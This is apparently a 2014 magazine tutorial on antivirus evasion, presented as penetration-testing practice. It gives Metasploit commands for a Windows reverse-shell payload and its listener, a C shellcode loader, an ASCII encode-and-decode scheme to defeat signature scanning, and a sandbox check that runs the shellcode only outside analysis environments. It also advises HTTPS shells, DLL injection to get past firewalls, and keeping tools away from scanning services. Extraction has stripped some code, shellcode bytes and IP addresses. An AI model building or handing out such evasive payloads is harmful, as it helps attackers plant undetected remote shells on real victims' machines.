Practical Antivirus Evasion - Beta version of the article

During a penetration test, situation might occur where it is possible to upload and remotely execute a binary file. For example, you can execute the file on a share during a windows test or you have access to a web space and it is possible to execute something here. The executable file can be built using Metasploit and could contain various payloads. Using Metasploit for this is great, but on the other side most antivirus tools should recognize the executable as harmful file even when using the built-in encoders. This article shows how to evade antivirus software.


How Antivirus Software is working

Most anivirus software is using different techniques for recognizing harmful files. The first approach by the manufacturers was a signature based recognition. The software contains a database with signatures of know harmful files. If a file matches a signature it will be handled by the antivirus software.


Because only known files can be recognized with signatures, the manufacturers added more advanced techniqes like heuristics and sandboxing. The heuristic approach is checking for certain characteristics of a file for classifying it. Sandboxing actually executes a file before opening it for the user in an encapsulated environment. This prevents the file to damage the system, but on the other side it is consuming a lot of resources. In the scope of usability for the user, the execution in the sandbox is limited, as can be seen later in the article.



What to know before we start

First things first, all examples used in the article can be downloaded from github:

# git clone git://


For compiling with Backtrack using MinGW:

# wine /root/.wine/drive_c/MinGW/bin/gcc.exe example1.c


For following the article the reader should have knowledge about Metasploit, C programming and using a shell. The examples shown are focussing on antivirus software running on a windows platform, but the techniques used here should work for different operating systems as well.


Build a platform for testing

As a testing and development platform Backtrack 5 with wine and MinGW is used, but it should work similarly on other systems. The shellcodes used in the examples are Windows shellcodes produced with Metasploit. In a first step always use the Backtrack system with wine for ensuring the executable file works.


For example, build an executable file:

# msfpayload windows/shell_reverse_tcp LHOST= x > shell_rev.exe


As can be seen, the IP address of the backtrack box is in the examples. Before executing the file, start up the handler for the reverse shell.

# msfconsole

… SNIP …

msf > use multi/handler

msf exploit(handler) > set windows/shell_reverse_tcp

payload => windows/shell/reverse_tcp

msf exploit(handler) > set lhost

lhost =>

msf exploit(handler) > exploit

… SNIP …


For testing the executable with Backtrack, use wine in a second console:

# wine ./shell_rev.exe


Back in the Metasploit console, you can see that the connection is working:

[*] Started reverse handler on

[*] Starting the payload handler...

[*] Command shell session 3 opened ( -> at 2014-03-16 14:22:45 +0100


CMD Version 1.2.2




Of course this one should be recognized by every antivirus software. For testing the program on Windows systems, VirtualBox with several virtual machines with different Windows systems and antivirus software installed can be used.



The Shellcode Binder

The first thought here is that even an .exe file without a payload is recognized as a harmful file.

This .exe template file can be built using msfencode:
# echo '' | msfencode -t exe -o testempty.exe

This file is recognized as harmful.

To avoid this problem, a shellcode binder written in C should be used.

unsigned char buf[] =


int main(int argc, char **argv)


int (*funct)();

funct = (int (*)()) buf;




The shellcode can be produced with msfpayload:

# msfpayload windows/shell_reverse_tcp LHOST= C > shellcode.txt


Now the shellcode is included into the source code:

#include <stdio.h>


unsigned char buf[] =



… SNIP …




int main(int argc, char **argv)


int (*funct)();

funct = (int (*)()) buf;




A shellcode binder is simply a function pointer. This pointer is not referring to a data value in the memory, but refers to executable code in the memory. The executable file will still be recognized as harmful, so more steps are needed.



Encoding the Shellcode

The second step shows how to evade the signature based recognition of the antivirus products. A signature based recognition is scanning the file. If the file or a part of the file matches a known signature the file will not be executed.

When the payload is encoded, there is no matching signature for this part of the binary file. In this example an ASCII encoding is used, the result is easy to read and the decoder is easy to implement.


A shellcode like this:



Will result in a readable form:



We can reuse the shellcode.txt from the previous example for decoding the shellcode:

# cat shellcode.txt | tr -d "\" | tr -d "x"


The function decode_shellcode takes the encoded shellcode, decodes it and returns a pointer to the decoded shellcode:

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <windows.h>

#include <tchar.h>

#include <stdlib.h>


void exec_shellcode(unsigned char *shellcode)


int (*funct)();

funct = (int (*)()) shellcode;




// return pointer to shellcode

unsigned char* decode_shellcode(unsigned char *buffer, unsigned char *shellcode, int size)


int j=0;



int i=0;



unsigned char temp[3]={0};


shellcode[j] = strtoul(temp, NULL, 16);




} while(i<size);


return shellcode;




int main (int argc, char **argv)


unsigned char *shellcode;

unsigned char buffer[]=



… SNIP …




int size = sizeof(buffer);


shellcode = decode_shellcode(buffer,shellcode,size);




For executing the shellcode, again a function pointer is used. The code can be found in the file example2.c. The program execution will fail with most antivirus software. Some allow that it is copied to hard disk, which should fail in the previous example.

While experimenting with antivirus evasion, strange behavior might occur and the outcome is not consistent. For example, a file that has been recognized as harmful before, was executed after an update. In more advanced versions, any encoding or encryption that works can be used, like One-Time-Pad, AES, Base64 and so on, as long as it is not recognized by the antivirus software.



Avoid Sandboxes and Heuristics

Signature based measurement is not the only technique for preventing the execution of malware and viruses. Most products additionally execute the program in a sandbox and perform heuristic analysis of the file. At this moment, the antivirus software is running into the following problem: The usability must not suffer under the examination. Due to this, the execution in the sandbox will disallow certain actions, like reading files and open or connect to sockets.

This example will be extended in a way, that the it tries to read the c:windowssystem.ini file. If the file can not be opened, the program exits, else it continues with executing the shellcode.


Here is the code:

FILE *fp = fopen("c:\windows\system.ini", "rb");

if (fp == NULL)

return 0;



int size = sizeof(buffer);


shellcode = decode_shellcode(buffer,shellcode,size);



If the file can't be opened for reading, the program exits and the execution was performed in a sandbox. When the execuition is not performed in a sandbox it should be possible to open the file and the shellcode is executed.


When compiling the program and execute it on a windows box with a antivirus software, chances are high, that the shell will work and the executable is not recognized as harmful.

The author tested this and other techniques, with great success with different free and also trial enterprise based antivirus products.



And Further

Of course different payloads can be used as the one shown in the article, for avoiding IDS/IPS use shells working over HTTPS. With the techniques shown in the article the reader should know the basics for building own tools for penetration testing. Using a different and more advanced algorithm for encoding would be necessary. When writing the decoder in assembly as shellcode too, the payload can be used in different cases too, for example for placing it into PDF files. Different techniques for sandbox evasion should also be implemented. Most antivirus software comes with personal firewalls, that will block traffic from unkown programs. This can be avoided by using DLL injection, which allows to executed code in the context of an arbitrary process.

When developing own tools platforms like should not be used, because these platforms cooperate with the manufactures of security software. After some time the tool might be recognized by most products. Also, tools used in a penetration test might be sent to the manufacture for further analysis. So a tool might not work after some time anymore, it should be updated after some time.

If you want to read more about the topic refer:


September 2, 2014

© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013